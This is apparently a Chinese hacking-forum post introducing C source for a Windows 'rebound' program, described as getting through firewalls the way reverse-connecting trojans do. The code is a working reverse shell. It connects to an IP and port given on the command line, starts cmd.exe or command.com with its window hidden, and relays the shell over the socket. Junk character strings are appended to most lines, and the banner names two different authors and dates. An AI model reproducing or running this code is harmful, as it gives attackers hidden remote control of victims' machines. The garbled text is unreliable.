这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C8O7i[uc
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/* ============================== !^rITiy
Rebound port in Windows NT gt(X!iN]
By wind,2006/7 Ss*LgK_
===============================*/ m(Pz7U.Q
#include 3g4vpKg6c
#include *=r@vQ
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#pragma comment(lib,"wsock32.lib") <<~lV5
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void OutputShell(); j58Dki->.
SOCKET sClient; PkZf(=-X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [0(
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void main(int argc,char **argv) j@!BOL~?
{ S S7D1
WSADATA stWsaData; x|P<F 2L
int nRet; |sDG>Zq?
SOCKADDR_IN stSaiClient,stSaiServer; T=iZ9w
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if(argc != 3) .je~qo)
{ 5+#?7J1
printf("Useage:\n\rRebound DestIP DestPort\n"); J?UZN^
return; "1=.5:yG
} D~t"9Z\
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WSAStartup(MAKEWORD(2,2),&stWsaData); !ds"88:5^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t/EMBfLc
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stSaiClient.sin_family = AF_INET; ~`W6O>
stSaiClient.sin_port = htons(0); 2xz%'X%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '2i)#~YO<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q*oA{eZY
{ g6k&c"%IQ(
printf("Bind Socket Failed!\n"); h|Teh-@A5
return; I=3B
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} ".Q!8j"@f
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stSaiServer.sin_family = AF_INET; 7J</7\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?3KR(6D
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;NN(CKZ9A
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >V ]*mS%K
{ }(O D<
printf("Connect Error!"); 3HDnOl8t
return; ._F6- pl
} ft.}$8vIT
OutputShell(); Y ~\`0?ST
}
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void OutputShell() LgD{!
{ ?Pok-90
char szBuff[1024]; c=U$$|qHV
SECURITY_ATTRIBUTES stSecurityAttributes; 6#lC(ko'
OSVERSIONINFO stOsversionInfo; _g/TH-;^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /^es0$Co.
STARTUPINFO stStartupInfo; ,EGD8$RA]
char *szShell; d
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PROCESS_INFORMATION stProcessInformation; xSMp[j
unsigned long lBytesRead; SBYMDKZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p7ns(g@9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3Wtv+L7Br
stSecurityAttributes.lpSecurityDescriptor = 0; &>wce5uV
stSecurityAttributes.bInheritHandle = TRUE; Jr*S2z<*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \w@_(4")Qb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rs(CrB/M
H--*[3".
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q4#f
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y|qixpP
stStartupInfo.wShowWindow = SW_HIDE; 9OO_Hp#|9
stStartupInfo.hStdInput = hReadPipe; BD-c 0-+m
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,oi`BOh
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GetVersionEx(&stOsversionInfo); O%Gsk'mo
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switch(stOsversionInfo.dwPlatformId) "8iyMP%8
{ |?t8M9[Z
case 1: {dr&46$p
szShell = "command.com"; zL!~,B8C
break; (gJ
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default: .8uwg@yD
szShell = "cmd.exe"; F>oxnhp6
break; t5B|c<Hb\
} l!2Z`D_MD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d ;7pri)B
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send(sClient,szMsg,77,0); q9]^+8UP
while(1) {ALBmSapK"
{ A%czhF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yU8Y{o;:
if(lBytesRead) +]~w ?^h
{ UC
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H*
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send(sClient,szBuff,lBytesRead,0); +K?N:w
} H6 f; BS
else _2Xu1q.6~5
{ _=^hnv
lBytesRead=recv(sClient,szBuff,1024,0); m-KK
{{
if(lBytesRead<=0) break; elHarey`f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); He_(JXTP
} ';CuJXAj
} [+cnx21{
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return; a]=vq(N'r
}